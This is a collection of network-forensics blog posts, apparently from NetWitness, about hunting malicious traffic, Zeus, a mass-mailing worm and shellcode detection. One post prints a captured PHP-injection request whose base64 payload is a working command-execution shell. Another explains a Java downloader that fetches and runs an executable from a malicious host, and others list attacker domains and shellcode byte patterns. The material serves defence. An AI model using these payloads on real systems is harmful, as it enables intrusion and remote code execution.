I tend to be an opponent of looking for bad stuff by using “known bad dictionaries” like IP lists, signatures, etc. I tend to soapbox about how you can find far more known and unknown bad stuff by employing a methodology of separating out “presumed good” stuff, and examining outliers. Check out any of the other posts I have up here for more detail about this, probably starting with this post.

The InfoSec industry tends to focus very hard on the exploitation of clients (mostly being end-users belonging to an organization, or customers of your organization – especially for financial institutions). Since the early 2000′s gradually less focus has been paid to the exploitation of servers.

As discussed in other posts here, the exact same forensics methodologies and logical reasoning apply not only to the high-level analysis of network traffic, but also to low-level areas like the characteristics of processes on a host. Likewise, the same techniques apply to finding bad things with hosts as well as with servers.

In this case, we were interested in finding anomalous inbound traffic going from clients to web servers. The logic we used went something like this:

1 – Most people browse webpages using a common web browser like Internet Explorer, Firefox, Safari, Chrome, etc.

2 – The user-agents of these browsers are based on Mozilla 4.0 or 5.0.

So in this case, we were interested in sessions not matching the characteristics above. Those sessions are depicted here:

While that’s a lot of results (that are mostly legitimate), we could have stopped there and applied the “if-then” logic we talk about in other articles to find the same types of activity we’ll see in a minute, but for the sake of discussion here, we also went one step further.

In this case we were hunting for a more specific type of activity, so we added the following criteria to our logic:

3 – When hacking a website using an exploitation method where automation makes the process more efficient (for instance, SQL injection), many times it’s easier to automate your hacking using a high-level language like Perl, etc.

We were able to combine the above logic into a single query as shown next:

The above query simply says “show us all network sessions where the user-agent contains the term perl.”

In many environments/traffic sets, this is all you need to find “interesting” things, however in massive environments with custom-developed web applications it’s likely that query will still clutter your analysis work with too many legitimate sessions to analyze. In those cases, it’s useful to layer in the following logic, which is a natural part of the “if-then” logic we talk about in other places.

1 – Because the server farm examined in this case resides in the United States and the customers of this application were primarily US-based, you can filter out all traffic originating from the United States (or whatever country applies to your case). Keep in mind, this would normally still include a massive amount of traffic, but we’ve already applied the filter to only include sessions were the user-agent contains the word perl. The combination of the two criteria points typically reduces the number of sessions from millions to dozens.

2 – When using the logic above, it’s helpful to additionally apply a filter for all sessions where the source country could not be resolved. This is a neat little trick to quickly filter out all traffic from RFC 1918 addresses, which typically means traffic sourced from the organization being examined – especially if you’re looking for bad things coming in. (We apply this logic all the time when looking for bad things going out as well – except in those cases we filter traffic where the destination country can’t be resolved. While this logic doesn’t apply to all cases, it’s a good place to start for most.)

In this case, we ended up with the following eight sessions:

All eight of those sessions came from the same source. Digging into all sessions from this source (which included several others not part of the eight above, but stood out like a sore thumb after we found those eight – which is typically how it works), we found a lot of traffic like this:

POST /contactus.php HTTP/1.1
TE: deflate,gzip;q=0.3
Connection: TE, close
Host: <redacted>
User-Agent: Mozilla/3.0 (OS/2; U)
Content-Type: application/x-www-form-urlencoded
Content-Length: 996

<redacted>&name=[php]eval(base64_decode('ZWNobyAiQU5BU0tJPGJyPiI7DQp
lY2hvICJzeXM6Ii5waHBfdW5hbWUoKS4iPGJyPiI7DQokY21kPSJlY2hvIEpGcnkiOw0KJGVzZWd1aWNt
ZD1leCgkY21kKTsNCmVjaG8gJGVzZWd1aWNtZDsNCmZ1bmN0aW9uIGV4KCRjZmUpew0KJHJlcyA9ICcnO
w0KaWYgKCFlbXB0eSgkY2ZlKSl7DQppZihmdW5jdGlvbl9leGlzdHMoJ2V4ZWMnKSl7DQpAZXhlYygkY2
ZlLCRyZXMpOw0KJHJlcyA9IGpvaW4oIlxuIiwkcmVzKTsNCn0NCmVsc2VpZihmdW5jdGlvbl9leGlzdHM
oJ3NoZWxsX2V4ZWMnKSl7DQokcmVzID0gQHNoZWxsX2V4ZWMoJGNmZSk7DQp9DQplbHNlaWYoZnVuY3Rp
b25fZXhpc3RzKCdzeXN0ZW0nKSl7DQpAb2Jfc3RhcnQoKTsNCkBzeXN0ZW0oJGNmZSk7DQokcmVzID0gQ
G9iX2dldF9jb250ZW50cygpOw0KQG9iX2VuZF9jbGVhbigpOw0KfQ0KZWxzZWlmKGZ1bmN0aW9uX2V4aX
N0cygncGFzc3RocnUnKSl7DQpAb2Jfc3RhcnQoKTsNCkBwYXNzdGhydSgkY2ZlKTsNCiRyZXMgPSBAb2J
fZ2V0X2NvbnRlbnRzKCk7DQpAb2JfZW5kX2NsZWFuKCk7DQp9DQplbHNlaWYoQGlzX3Jlc291cmNlKCRm
ID0gQHBvcGVuKCRjZmUsInIiKSkpew0KJHJlcyA9ICIiOw0Kd2hpbGUoIUBmZW9mKCRmKSkgeyAkcmVzI
C49IEBmcmVhZCgkZiwxMDI0KTsgfQ0KQHBjbG9zZSgkZik7DQp9fQ0KcmV0dXJuICRyZXM7DQp9'))%3B
die%28%29%3B%5B%2Fphp%5D

When we remove the encoded data for a moment and clean it up, we see the user is submitting the following in the form of a POST to contactus.php:

[php]eval(base64_decode('<encoded_data>'));die();[/php]

Even without being a php programmer, it’s fairly obvious to see the attacker is using PHP injection to get the php form contactus.php to execute something encoded inside the eval() statement. And what is inside that eval statement?

It’s decoded below:

After looking at the other sessions we see the connection with Anaski (pictured below) is not coincidental, as it usually is not with groups like them.

Again, this is just another fun example of how intelligent and tactical traffic carving methods turn up far more than you’d find going out and looking for specific things.

- Gary Golomb

Something I’ve found unsettling for some time now is the drastically increased usage of gzip as a Content-Encoding transfer type from web servers. By default now, Yahoo, Google, Facebook, Twitter, Wikipedia, and many other organizations compress the content they send to your users. From that list alone, you can infer that most of the HTTP traffic on any given network is not transferred in plaintext, but rather as compressed bytes.

That means web content you’d expect to look like this on the wire (making it easily searchable for policy violations and security threats):

In reality, looks like this:

As it turns out, the two screenshot above are for the exact same network session, the later screenshot being from wireshark and showing the data sent by the webserver really is compressed and not discernable.

By extension, you can likely say that most real-time network forensics/monitoring tools are [realistically] “blind” to [plausibly] a majority of the web the traffic flowing into your organization.

Combined with the fact that a vast majority of compromises are delivered to clients via HTTP (at this time, typically through the use of javascript), my use of the word “unsettling” should be an understatement. This includes everything from “APT” types of threats (or whatever soapbox you stand on to describe the same thing), down to drive-by’s and mass exploitations.

The good news: Current trends in exploitation have given us very powerful methods for generic detection (eg: without needing “signatures,” or more precisely – preexisting knowledge about the details of particular vulnerabilities or exploits) by examining traits of javascript, iframes, html, pdf’s, etc.

The bad news: Webservers are reducing the chance of network technologies from detecting those conditions by compression based transfer (obfuscation).

I find no fault with organizations choosing to use gzip as their transfer type. HTTP is a horribly repetitive and redundant language (read: bloated). Every opening <tag> has an identical closing </tag>. XML is even worse. For massive sites with massive traffic, the redundancy and bloat of protocols like HTTP and XML translate directly to lost revenue via extremely large amounts of wasted bandwidth.

Nonetheless, as forensic engineers, our challenge is to discover and compensate for all the things proactive security technologies like AV, firewalls, IPS, etc. continually fail to identify and stop. Recently, I added the following rule on a customer’s network in NetWitness:

If you’re not familiar with the NetWitness rule syntax, the rule above does the following:

If the server application/version (as extracted by the protocol parsing engine) contains the string: “nginx,”

AND

If the Content-Encoding used by the server is gzip

THEN

Create a tag labeled “http_gzip_from_nginx” in a key called “monitors.”

In the Investigator GUI, you would see something like this in the “monitors” key:

Why nginx? As it turns out, a lot of hackers tend to use nginx webservers, so this seemed like a good place to start experimenting. The question I was trying to answer is:

If the content body of a web response is gzip’ed (so we can’t examine traits of “suspiciousness” inside the body), then what can we see outside the body to indicate this gzip’ed traffic is worth examining further?

We’ll revisit this question in later blog posts, but for now, nginx as a webserver is an amazingly powerful place to start! We’ll examine one such example in this post, with an additional post using the gzip + nginx combination. As the small screenshot above shows, there were 33 sessions meeting the criteria of gzip + nginx (out of about 50,000 sessions). With only 33 sessions, it’s possible to examine them by drilling into the packets of all 33, examining them each one-by-one (eg: brute-force forensic examination), but that would be poor forensic technique and defeat the entire point of a technical and educational network forensics blog! The examples in these series of blog posts will employ good forensic practices using “correlative techniques,” allowing us to have a good idea of what is inside the packet contents before we ever drill that deeply into the network data (an indication you are using good network forensics practices).

The first pivot point we’ll examine are countries. Keep in mind, this is after we used the rule above to include only network sessions where the server returned gzip compressed content, and where the webserver was some type of nginx. We could have manually done the same by first pivoting on the content type of gzip:

Doing the first pivot reduces the number of sessions we’re examining from about 50,000 down to 2,878. Then we can do a custom filter to only include servers with the string “nginx” within those 2,878 session. Doing so gives us the same 33 sessions mentioned above.

In those 33 sessions, the countries communicated with are:

Not only do we tend to see a higher degree of malicious traffic from countries like Latvia, it immediately looks suspicious simply because it’s an outlier in the list. (Don’t worry Latvia, we’ll pick on our own country in the next post!) Additionally, there’s only a single session to examine here, meaning drilling into the packet-level detail is an ok decision at this point.

In the request, we see the client requested the file “/th/inyrktgsxtfwylf.php” from the host “ertyi.net,” as shown next:

As expected, based on the meta information NetWitness already extracted, we see the gzip’ed reply from a nginx server:

Fortunately, Investigator makes it easy for us to examine gzip’ed content by right-clicking in the session display and selecting decode as compressed data:

Doing so shows us a MUCH different story!

The traffic appears to be obfuscated javascript. We can extract it from NetWitness (a few different ways) to clean it up and examine. I’ll skip those steps and just show the cleaned-up and nicely formatted content the webserver returned.

There are a few things to notice in here. At the very bottom of the image above, we clearly see encoded javascript, a trait extremely common to client-side exploit delivery and malicious webpages. We’ll save full javascript reverse engineering for another blog post.

But the worst (or most interesting) part is the decoding and evaluation for this encoded data, while implemented in javascript, is stored inside a TextArea HTML object! This technique makes the real logic invisible and indiscernible to most automated javascript reverse engineering tools.

Indeed, if we upload this webpage to one of my favorite js reversing sites (jsunpack, located at: http://jsunpack.jeek.org/dec/go), we see the following results when the site attempts to automatically reverse engineer the javascript:

Without going further into the process of reverse engineering the javascript (for now – we have an endless supply of blog posts coming!), we can be quite sure we’re looking at something suspicious. At the very least, we know for a fact we’re looking at something that does not make it easy to discern what it’s doing!

The telltale signs of “badness” don’t stop there. At the top of the decoded body data we saw an embedded java applet, as follows:

While we don’t know (yet) what the applet does, there’s a pretty strong indication it’s a downloader or C&C (command and control) application of some type. How can we make such a guess without knowing anything about it?

Look closely at the embedded parameter passed into the applet:

We can make a guess that the string contained in the “value” parameter is encoded data using a simple substitution cypher where “S”[parm] = “T”[actual] and “T”[parm] = “/”[actual]. If we made such a guess, then it’s possible the decoded parameter value actually starts with the string “http://”.

Of course, because we have the download of the jar file within our full packet capture and storage database, we’ll just extract it from NetWitness to validate our hunch and possibly learn more. In the below screenshot, I already performed the following steps:

1. Switched to the session with the jar file download. (Simply clicked on the next session between that same client and server.)
2. Extracted the jar file by saving the raw data from the server using the “Extract Payload Side 2” option in NetWitness.
3. Opened the jar file using the following java decompiler:

The first line of code in the java applet takes the parameter passed to it (the encoded value we identified above), and hands it to a function called “b.” The result of that function is stored in a string variable called str1.

Following the decompiled java code to function “b,” we see the following:

It turns out the applet actually is using a simple substitution cypher, replacing one given character with another. When the parameter “RSS=,TT!;LBIB@STSRTYG$I=R=” is decoded, we end up with the string “http://uijn.net/th/fs7.php?i=1.”

The java malware then continues with additional string functions as shown next:

First, we see the declaration of str2 through str5, with values assigned to each.

Then, str6 through srt8 is simply the reversal of str2 through str4, resulting in the following strings:

Str6 = .exe

Str7 = java.io.tmpdir

Str8 = os.name

Combining that with the last three lines of code shown above, we see the following:

Str10 is a filename ending in “.exe” where the actual filename is a randomly generated number.

Str11 is the path to temporary files for the current user.

Str12 is the name of the Operating System the java malware is currently running on.

The last part of this java malware (that we’ll examine here anyways) is shown next:

First, it tests to see if the string “Windows” is contained anywhere in the name of the Operating System. If so, then it goes through the process of opening a connection to the URL (the one we decoded above), downloads the file, saves it to the temporary directory, then executes the file.

This file appears to be malware as a first-stage downloader for other executables that are likely far more malicious.

Pre-Summary

Even though a large amount of web traffic is coming into your organization gzip compressed, making most inline/real-time security products totally “blind” to what’s inside, we can use standard forensic principals to identify which of those sessions are worth examination. In this case, we combined to following traits to reduce 50,000 network sessions to a single one:

1. Gzip’ed web content
2. Suspicious country
3. Uncommon webserver application

Once we drilled into that single session, we saw how trivial it was to use NetWitness to automatically decompress and content, extract it, then validate it as “bad.”

Epilogue

Does the process stop there? Of course not! If you had to repeat this process every time, not only would it make your job boring as heck, but would call into question the value you and your tools are really providing the organization in the first place! There are many ways to maximize the intelligence gained from the process just shown. I’ll highlight one method here, while saving others for later blog posts.

There are several interesting “indicators” gathered from this traffic so far. The ones I’ll focus on here are host names. In the request made by the client, we saw the following tag in the HTTP Request header:

Host: ertyi.net

In the java malware we decompiled, after decoding the encoded parameter value, we saw the executable to be downloaded was from the host “uijn.net.”

At this point, network rules should be added to firewalls, proxies, NetWitness intelligence feeds, and any other technology you have that can alert to other hosts going to either of those servers – preferably blocking all traffic to those servers.

But, can we extend our security perimeter in relation to the hackers using those servers?

Interestingly, we find both those domains are hosted on the same IP block: 194.8.250.60 and 194.8.250.61.

That leads to the question, “What other domains are hosted on those server?”

Normally I use http://www.robtex.com to answer questions like that, but in this case, robtex does not provide a lot of information about that question. It’s possible the hackers are brining-up and tearing-down DNS records as needed for the domain names they manage.

Another source of helpful information can be found querying the “Passive DNS replication” database hosted at: http://www.bfk.de/bfk_dnslogger.html Here, we can find an audit trail of all historically observed DNS replies pointing to IPs you submit queries about. In this case, we do indeed find valuable information, including about 40 unique host names that have been hosted on those two IP’s. A shortened list is included below showing some of the names that have been hosted there.

aeriklin.com

aijkl.net

asdfiz.net

asuyr.net

campag.net

iifgn.net

jhgi.net

jugv.net

kobqq.com

krclear.com

lilif.net

nadwq.com

oiuhx.net

pokiz.net

uijn.net

As we can see, none of them look immediately legitimate, so we can infer this is a hacking group using a set of servers for domains they have registered simply to be “thrown away” if any of those domain names are discovered and end up on a blacklist somewhere.

The Real Summary

By combining a few pivot points and looking inside compressed web traffic most products ignore, from a single network session we proactively increased the security posture of your organization by creating an intelligence feed of nearly 40 hosts names and 2 IP’s. You could now audit DNS queries made by all hosts in your organization to see if other clients are compromised and doing look-ups when trying to communicate with those hosts.

For the truly paranoid (or safe, depending on how you look at it), you could also blackhole all traffic to those apparently malicious networks:

route: 194.8.250.0/23

origin: AS29557

Considering the Google Safe Browsing report for that AS, it’s probably not a bad idea!

Gary Golomb

Zeus is evolving. In regards to a new release, one Anti-Virus vendor recently noted:

“[the new exe] uses techniques designed to avoid automatic heuristics-based detection.”

The discussion then proceeds to examine how the exe is different from previous versions of the malware.

Should we be alarmed that Zeus is getting so sophisticated that it evades heuristics-based detection mechanisms?

I suppose if it actually evaded heuristics-based detection mechanisms, that would be alarming. I’m sure the version of Zeus in question evades the mechanisms of certain AV vendors. However, when looking at the exact sample in question (verified by MD5) using the techniques we use for malware identification here, we see the sample stands out like a sore thumb.

Using our own internally-developed heuristic malware identification methods (also used by components of NextGen), we see the exe has traits such as the following (not a complete list!):

1. The binary contains packed sections, indicative of packed, obfuscated, and/or encrypted malware.
2. The size of the binary is abnormally small considering the conditions and context in which it was found.
3. The PE checksum fails to validate, something malware packers are notoriously bad about.
4. The binary does not have any information normally found within the version info table in the resource section of the PE.

But… Why get overly wrapped around the minutia related to the abnormal facets of this particular sample of Zeus? There’s a more important note to be made here. That is, Zeus is malware, so it does the things that malware does! You can’t get more “heuristically obvious” than that!

From the same vendor as above:

“…common ZeuS 2.0 variants contain relatively few imported external APIs… By contrast, [this version] imports many external APIs. To a heuristic scanner, this changes the appearance of the file and lowers the possibility of detection.”

Finding a binary that has very few external imports is generally a sign that something is suspicious. Specifically, it’s generally a sign the file is packed, obfuscated, and/or encrypted and the real imports are likely hidden inside. Such is the case when finding binaries that only import between two and five specific API’s from kernel32.dll (in the more obvious cases).

However, when finding a binary with a lot of imports, that’s even better since you get to see the full range of imports needed by the binary/malware! Without even running the sample or doing deep low-level reverse engineering, you can start to make assumptions about the functionality of the binary based on the API’s it uses. Further, it’s a simple matter to separate malware from legitimate binaries by comparing the API’s it uses to the ones it doesn’t need/use.

As is the case with this sample of Zeus, we see it (like the thousands of different types of malware not related to Zeus) imports APIs related to hooking the Windows API, creating mutexes, and managing services – without importing the functions used by legitimate binaries that also use the same functions.

So, should we be alarmed some people say Zeus is getting so sophisticated that it evades heuristics-based detection mechanisms?

If your security vendor is looking for Zeus, then yes, you should be alarmed. However, if your security vendor is looking for general signs of malware, infection, and so on, then no… Fortunately Zeus is still malware, just like all the rest of it…

Gary Golomb

If you’ve kept a view on security news in the past 24 hours, you may have noticed some press around a new email worm spreading on corporate networks.   Dubbed the “Here You Have” worm, it is a good case study on how to manage emerging threats with your NetWitness technology.  You can find additional info on the worm here:

http://isc.sans.edu/diary.html?storyid=9529

As a general overview, the worm works in a similar manner as other recent malware observed in the wild.

• It tempts the user to click on an attachment or link with a social engineering hook.
• When clicked, the malware establishes itself on the targeted machine to run automatically and propogates itself.
• The malware downloads additional executables intended to steal saved credentials and establishes a beacon mechanism to receive updates or transmit stolen data.

Like most emerging threats, research teams at NetWitness analyzed this variant as soon as we found out about it, and I’ll use a few basic incident response questions to demonstrate detection mechanisms using our technology.   One thing to note is that none of this worm’s activity requires any content generation other than simple application rules since the metadata extraction process in our engine  extracts all of the relevant meta by default.

1)  Who in my environment was targeted?

Targeted email addresses related to this worm’s activity can be detected by simply using a custom-drill in Investigator:

subject contains ‘here you have’,'just for you’ && email = ‘iraq_resistance@yahoo.com’

This drill will focus the collection on the email sessions related to this activity, and relevant email addresses, ip addresses, hostnames, etc. can be extracted for additional analysis.

2) Who in my environment actually clicked on the link or attachment?

In this case, there are a few ways to detect this activity.   Once executed, the malware downloads a number of files with the extension “iq”.   Since this is an unusual extension, an initial quick pivot to locate infected hosts is:

extension = ‘iq’

Or, you could specifically target some of the filenames themselves:

filename = ‘ie.iq’,'pspv.iq’,'op.iq’,'im.iq’,'m.iq’,'w.iq’,'gc.iq’,'ff.iq’,'rd.iq’,'tryme.iq’

Or, you could look for hits to the alias.host where the files reside:

alias.host = members.multimania.co.uk && directory contains ‘yahoophoto’

Or, if your sniffing equipment is monitoring a backbone, you could look for the malware being copied to mapped network drives:

filename = ‘pdf_document21_025542010_pdf.scr’

3) Who in my organization is infected and beaconing?

In this case, one of the downloaded files in Step 2 attempts to contact “tarekbinziad.no-ip.biz”, so you can use an alias.host pivot to locate machines that may have transmitted credentials to a third-party:

alias.host = ‘tarekbinziad.no-ip.biz’

One thing to keep in mind is that both “tarekbinziad.no-ip.biz” and “members.multimania.co.uk/yahoophoto/” have been taken down by the security industry at this point, so with this variant, you are looking at a cleanup effort.   Also keep in mind that infected machines will continue to spam messages until they are cleaned.

Happy Hunting!

One of the lesser-known features that was recently introduced in NetWitness Investigator are Custom Actions.   Have you ever been analyzing a pcap in Investigator and thought “I wish there was an easy way to push this information into another system…”.   Custom Actions is a flexible extension system that will allow you to do just that.    Here are just a few examples of what can be accomplished:

Scenario:   You are a senior incident responder at your organization, and one of your company’s help desk analysts reports strange behavior from an executive’s workstation.   Luckily, this analyst is on his game and has provided you with a network capture from the workstation, which you import into Investigator for analysis.  What are some tasks that I might want to do with this investigation?

Once you are here, you’ll see a GUI overview of the custom action system with a few examples. You may have a few in the list that were installed by default.

cmd.exe /K c:\PROGRA~1\nmap\nmap.exe -PN -sV –top-ports 1000 192.168.2.245

cmd.exe /K c:\PROGRA~1\nmap\nmap.exe -PN -sV –top-ports 1000 ${VALUE}

http://www.google.com/search?q=dog

http://www.google.com/search?q=${VALUE}

For Task 3, we are going to use the same basic concept to search URLvoid.com for a domain’s presence on blacklists.  Just like Google, we’ll start with a search on URLvoid:

http://www.urlvoid.com/scan/cnn.com

http://www.urlvoid.com/scan/${VALUE}

Once these have been added, we can then use them to quickly investigate our scenario:

Using the nmap scan custom action, we find that our executive’s workstation at 192.168.2.246 is listening only on ports that it should be per our company’s security policy. We see that our Google custom action reveals that the involved filenames are related to a known ZeuS trojan infection, and we know by our URLvoid results that this command and control server now appears to be down.     This PC is compromised, so we then declare an incident and proceed with our incident response plans.

As you can see, custom actions are very easy to implement.  These are simple examples, but with some effort, tools, a favorite scripting language, etc., the sky is the limit.  You could do things like:

Do you have a good idea or example for a custom action?  Post about it in the NetWitness Community, we’d love to hear about it!

Happy Hunting!

Overview

This technique can detect overflow exploits against software running on the x86 platform, meaning it applies to Windows, Unix, and Mac shellcode. It not only works independently of OS, but it also works for finding both stack and heap based overflows. Most interestingly, it catches most forms of polymorphic shellcode as well. (Actually, it exceeds at finding special shellcodes like polymorphic decryption engines, egg hunters, etc.)  While this definitely doesn’t work for all shellcode, it works for a lot of it.

The reason this technique applies to any operating system on x86 is simple. Shellcode is typically written in machine code (commonly called assembly, although it’s not actually the same thing), meaning shellcode is written using processor instructions – something independent of the OS it’s running on. Of course, the entire purpose of shellcode is manipulation of the OS, so shellcode is ultimately OS specific (even patch specific), but its basic primitives are independent of the OS.

One classic problem with shellcoding is addressing. Because shellcode is [typically] nefariously injected via exploitation into a process’s memory segment, and program execution is “hijacked” (without the benefit of setting up proper address pointers), the coder doesn’t know where in memory their code will be. The problem is, very little can be accomplished without knowing the logical memory address of parameters within the shellcode.

The simplest way around this issue is use of a CALL instruction. More information is available in the “Intel 64 and IA-32 Architectures Software Developer’s Manual Volume 2A: Instruction Set Reference, A-M” (and 2B: N-Z) located here: http://www.intel.com/products/processor/manuals/.

The CALL is used as a way to branch processor execution to another location in memory. It has the minor benefit of being able to use relative addressing, but it has the major benefit of PUSH’ing procedure linking information on the stack before branching to the target location. This is commonly referred to as Call Stack Setup. When executing a near call, the processor pushes the value of the EIP register (which contains the offset of the instruction following the CALL instruction) on the stack (for use later as a return-instruction pointer). The processor then branches to the address in the current code segment specified by the target operand.

There are several versions of the CALL instruction, but the one we’re interested in for this purpose is opcode 0xE8. This is a near call (near, meaning within the current memory segment) using relative address displacement with a negative offset (eg: backwards displacement). The actual instruction is 5 bytes long, with the last four bytes used for a relative offset (a signed displacement relative to the current value of the instruction pointer in the EIP register; this value points to the instruction following the CALL instruction). The CS register is not changed on near calls, so the results of these branches can be safely predicted (from a shellcoders perspective).

A section of a disassembled binary is shown here with an actual CALL. Notice the instruction is given as an 0xe8 plus a double word (32 bit) displacement pointer.

The CALL is usually needed early in shellcode execution to PUSH the virtual address contained in the IP onto the stack. (This is done because it’s not possible to access the IP directly, so it needs to be put on the stack to utilize parameters within the shellcode). However, the problem with the use of CALLs for call stack setup in buffer overflow shellcode is the CALL is generally located at an offset needing to serve as a return address after other instructions have already been executed. In other words, the CALL is generally located later in the shellcode and the processor executes the instructions sequentially from the start of the shellcode – unless a branching instruction is encountered.

Which is precisely how to solve the problem in shellcode – early in the execution of the shellcode, you simply JMP to the CALL in question, then call back into the shellcode and continue execution.

JMPs are simple instructions and easy to visibly identify and dissect. They are simply the opcode 0xEB followed by a byte indicating the number of bytes to jump.

The example below is taken from an MDaemon Pre Authentication Heap Overflow exploit:

In the first example above (the egghunter shellcode), we see a “\xeb\x21” which means, “Jump 0×21 (or decimal 33) bytes.” When you jump those bytes, you hit the green box, a CALL. The CALL performs the call stack setup, then branches backwards back into the shellcode and picks up just after the JMP (because of the negative displacement). The actual offset is [0xFF – 0xDA = 0x25]. 0×25 is 37 in decimal, however, you subtract 5 from that since the offset starts at the end of the 5-byte CALL. That lands us just after the JMP.

Simple, yet effective. Even analysis of polymorphic shellcode generators shows this technique applies to almost all them as well.

To summarize all this rambling, the technique (show in the FelxParser below) is simply to search for a JMP straight to a NEAR CALL with a short and negative displacement.

Evasion

Call with no offset

Evasion of JMP/CALL detection can be accomplished a number of ways. The most interesting evasions are techniques used in advanced NOP sleds obfuscation leveraging CALLs that started surfacing around the mid-2000’s.

One of the simplest CALL-based NOP substitutions worked as follows:

00000000    E800000000  call 0×5

00000005    58                           pop eax

In that example we have a CALL with no offset, which basically translates to “branch to the instruction after this CALL,” in this case an opcode that simply POPs the EIP into the EAX register. (Remember, when the CALL is hit, the processor runs through the call stack setup, meaning the EIP was just PUSHED onto the stack.) From a NOP perspective, this leaves the stack unchanged, but for a method to grab the EIP, this is a simple and efficient (although the use of NULL bytes makes this more difficult to use in a wide range of shellcode).

As that byte sequence is very rare in binaries, detecting this is much simpler since we have the benefit of a continuous 6-byet token to watch for. In the case the EIP is poped to EAX, the token is simply

0xE8 0×00 0×00 0×00 0×00 0×58

The above pattern should be extended to include all the general purpose POPs, including:

0xE8 0×00 0×00 0×00 0×00 0×58

0xE8 0×00 0×00 0×00 0×00 0x8F

0xE8 0×00 0×00 0×00 0×00 0x0F 0x1A

0xE8 0×00 0×00 0×00 0×00 0x0F 0xA9

Noir’s no JMP/CALL

This next technique was first described by noir@gsu.linux.org.tr  on the vuln-dev mailing list. It works as follows:

00000000    D9EE               fldz

00000002    D97424F4    fnstenv [esp-0xc]

00000006    58                     pop eax

In this case, the technique is to use FNSTENV to get the EIP of the last FPU instruction evaluated, then POP it from the stack. In the example above, the FLDZ FPU instruction is issued, then its EIP is POP’ed. This very cool technique allows for many permutations since any number of floating point instructions can be used.  Several dozen pages in the Intel Developers Instruction Reference A-M (starting around page 430) cover instructions that can be used in place of FLDZ.

Gera’s CALL into self

The final one we’ll look at is a crafty method to avoid JMP/CALLs, and works like this:

00000000    E8FFFFFFFF  call 0×4

00000005    C3                        ret

00000006    58                        pop eax

The interesting thing is the code above does not perform the actions the disassembler has labeled them as doing. In reality, the CALL (E8FFFFFFFF) is calling backwards into itself by a single byte. Therefore, the processor will hit the byte 0xFF (the tail end of the CALL) and interpret that byte as an instruction. In this case, the instruction is an INC/DEC (increment by 1 or decrement by 1). The 0xC3 is actually an operand to the interpreted 0xFF instruction, so it’s not a RET (return, normally used for call stack unwinding) in this case – it’s actually a pointer to the value stored in the EBX register as an operand for the INC/DEC instruction! After this step has been taken (the equivalent of a NOP really), the value on the stack is POP’ed into the EAX register using the 0×58 instruction. The value POPed is the EIP since it was PUSHed onto the stack when the CALL called back into itself.

While this is a very cool technique, it also provides a number of simple tokens to match on, similar to the Call with no offset example.

False positives and benign triggers

In testing of 55 GB of data (network and host based) no false positives were encountered searching for a JMP to short and near negative CALL. However, benign triggers were encountered (meaning the condition was detected, but it was a valid use of the condition). The condition was only detected inside some valid PE files, and because of that fact, they can be filtered using a number of simple and easy techniques depending on the technology used to discover them.

Flex Parser

Currently, the parser engine does not allow for one-byte tokens, so this parser is not functional as-is. (The concept presented here can easily be extended to identifying percent-encoded shellcodes, which is supported since they are represented as multi-byte tokens.) Nonetheless, and more importantly, the technique is annotated here in Flex so the reader can see how simple it is to write FlexParsers to discover a wide array of very complex conditions – such as universal shellcode detection.

Gary Golomb

While the world took pause to consider the implications of Operation Aurora, and Google lent considerable voice to the concept of Advanced and Persistent Threats (APT), we can ill-afford to believe even for a moment that they are alone in their sophistication or capability.   According to the FBI more than 100 nations have offensive cyber operations as part of their intelligence or national security fabric.  And the same attributes that make the Internet ideal for covert intelligence gathering make it attractive for corporate espionage and organized criminal activity.  The IT security industry commonly refers to the online activities of Eastern European and Asian organized crime as “cyber criminals” or “gangs”, which in many ways only serves to minimize the attention they deserve.  In truth the online operations of some organized crime syndicates are every bit as sophisticated, advanced and persistent as their nation-state counterparts.  They are truly expert at gaining footholds and siphoning off critical information.  And they are FAR more pervasive than Operation Aurora.

In late January, NetWitness security research were able to gain visibility into a large scale ZeuS-based botnet, taking user credentials and confidential information from thousands of organizations around the world (See The Wall Street Journal article).  Some of the information collected has been synthesized in the Kneber Bot whitepaper that you can dowload from the NetWitness website.

The sheer volume of information gathered and has forced us to reconsider the common belief that this very successful botnet is simply “financial services” related.  In fact, this particular botnet was much more concerned with culling account and network access credentials, as well as collecting as much detail about victim identities as possible.  In effect, they were less concerned with accessing any particular account, than being able to access ALL accounts related to a victim.

As we began analyzing victim information, we rapidly formed a picture of thousands of corporate compromises around the globe.  As with Aurora, many of the largest most technology savvy companies had internal compromised hosts, which had culled various corporate user level and administrative credentials.

We may attempt to broadly classify threats in the security industry, in hopes that we can make the complex more digestible to management.  However, classifying threats like this as “banking trojans” may do a large disservice to the victim companies.  Indeed, there are many that broadly dismiss threats such as these as “unsophisticated”, or less advanced than a pinpoint attack like Operation Aurora.  Rest assured, these adversaries could not care less how we classify their work.  They are well organized, have demonstrated technical sophistication on par with many intelligence services and do not forgo the opportunity for financial gain with the the information they collect.  If they are collecting network credentials, it means they are using or selling them in an active underground economy – which may include sponsoring foreign intelligence services. What is easier? Designing a campaign like Operation Aurora, or simply purchasing access to your target companies?

We are working with federal law enforcement, and continue in our efforts to notify victim organizations.  Please feel free to download our white paper and I am confident we will discuss great detail in future blog posts.

The news is rife with discussions about systemic failures in the intelligence community.  It is a good thing we do not judge information security on the same scale of success.  I know of not a SINGLE enterprise network that is not being repeatedly compromised with a deluge of malicious code.  Can you imagine a world where we expected our anti-virus to actually protect us?  Weren’t we all talking years ago about what would happen when people began writing custom code to attack YOU.  Our most ubiquitous security problem today is certainly malicious code, and after recommending “Malware Bytes” to my 10^th family member or friend last month to undo a successful phishing or drive-by infection, this problem certainly does single out anti-virus products as “anti-success.”  So why do I pick on Intrusion Detection as the winner for institutionalizing failure in our security organizations?

I believe IDS started several negative trends that are still affecting the psyche of security personnel today.  For the first several years, all iterations of IDS were so prolific in their alerting that they have provided a decade long after-taste.  Some would argue they still are.  The very concept was flawed from the beginning, and only considered because we had lost control and understanding of our networks.   Systems and disk were simply not fast enough, or large enough to analyze or understand our networks.  We decided that we must look to technologies and solutions to determine what is bad on our network, ignoring the rest — and we turned to our first magic pill.

Whatever the case, they were the solutions that made “false positives” a mainstream security term. Think about that term for just a minute.  To have “false positives,” intrinsically implies that there could be some perfect solution.  That it is conceivable, much less possible, to actually determine what is bad on your network.  The problem was certainly not fixed as the vendors began marketing prevention, and the vast majority of IPSs employ little to no prevention because of the likelihood of false positives.

